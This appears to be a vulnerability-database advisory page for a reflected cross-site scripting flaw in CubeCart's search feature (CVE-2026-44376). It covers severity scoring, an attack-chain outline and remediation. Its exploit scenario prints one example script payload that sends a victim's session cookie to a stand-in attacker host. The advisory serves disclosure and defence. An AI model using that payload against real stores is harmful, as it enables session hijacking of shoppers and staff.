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CubeCart CVE-2026-44376

| EUVD-2026-30164 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-05-13 GitHub_M
6.1
CVSS 3.1 · GitHub Advisory
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Severity by source

GitHub Advisory PRIMARY
6.1 MEDIUM
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

Lifecycle Timeline

4
Source Code Evidence Fetched
Jun 08, 2026 - 12:46 vuln.today
Analysis Generated
Jun 08, 2026 - 12:46 vuln.today
Patch available
May 13, 2026 - 22:03 EUVD
CVE Published
May 13, 2026 - 20:40 nvd
MEDIUM 6.1

DescriptionGitHub Advisory

CubeCart is an ecommerce software solution. Prior to 6.7.0, an unauthenticated Reflected XSS vulnerability exists in the CubeCart v6.x search feature. Due to a logic flaw in classes/catalogue.class.php, user input is reflected without sanitization only when a search returns exactly one product. This flaw bypasses current filters, allowing an attacker to execute malicious JavaScript in the victim's browser, leading to session hijacking, site defacement, or phishing. This vulnerability is fixed in 6.7.0.

AnalysisAI

Reflected XSS in CubeCart v6 (prior to 6.7.0) enables unauthenticated remote attackers to execute arbitrary JavaScript in a victim's browser by delivering a crafted search URL that triggers a specific single-result code path in the search feature. The flaw exists in classes/catalogue.class.php where the searchCatalogue() method reflects the raw $_REQUEST['search']['keywords'] parameter in a notification message without sanitization - but only when the search returns exactly one product, bypassing all other input filters. …

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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Recon
Enumerate store catalog for single-result keyword
Delivery
Append XSS payload to search URL
Exploit
Deliver crafted link via phishing
Install
Victim clicks and triggers single-result path
C2
Browser renders unsanitized keyword in notification
Execute
Attacker JavaScript executes in victim context
Impact
Session cookie exfiltrated or page defaced

Vulnerability AssessmentAI

Exploitation Exploitation requires that the attacker-controlled search[keywords] value, when submitted to the target store, returns exactly one product - this is the precise conditional branch in searchCatalogue() where sanitization is absent. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment CVSS 6.1 (Medium) with vector AV:N/AC:L/PR:N/UI:R/S:C reflects a network-accessible, low-complexity attack requiring no privileges but mandating victim interaction (UI:R), with changed scope (C:L/I:L) impacting confidentiality and integrity but not availability. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker researches a target CubeCart store's product catalog to identify a keyword that returns exactly one search result, then appends a JavaScript payload (e.g., <script>document.location='https://attacker.example/steal?c='+document.cookie</script>) to that keyword within a crafted search URL. The attacker delivers this URL to a logged-in store user via a phishing email or social media lure, and when the victim clicks the link, CubeCart's single-result notification path reflects the unsanitized keyword, executing the attacker's script and exfiltrating the victim's session cookie. …
Remediation Upgrade to CubeCart 6.7.0, which contains the vendor-released patch confirmed in commit b9d03e20b9d0f443f8ea55fd834e348438e2cc0c and the GitHub security advisory at https://github.com/cubecart/v6/security/advisories/GHSA-gvcp-wpvp-c6f7. … Detailed patch versions, workarounds, and compensating controls in full report.

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CVE-2026-44376 vulnerability details – vuln.today

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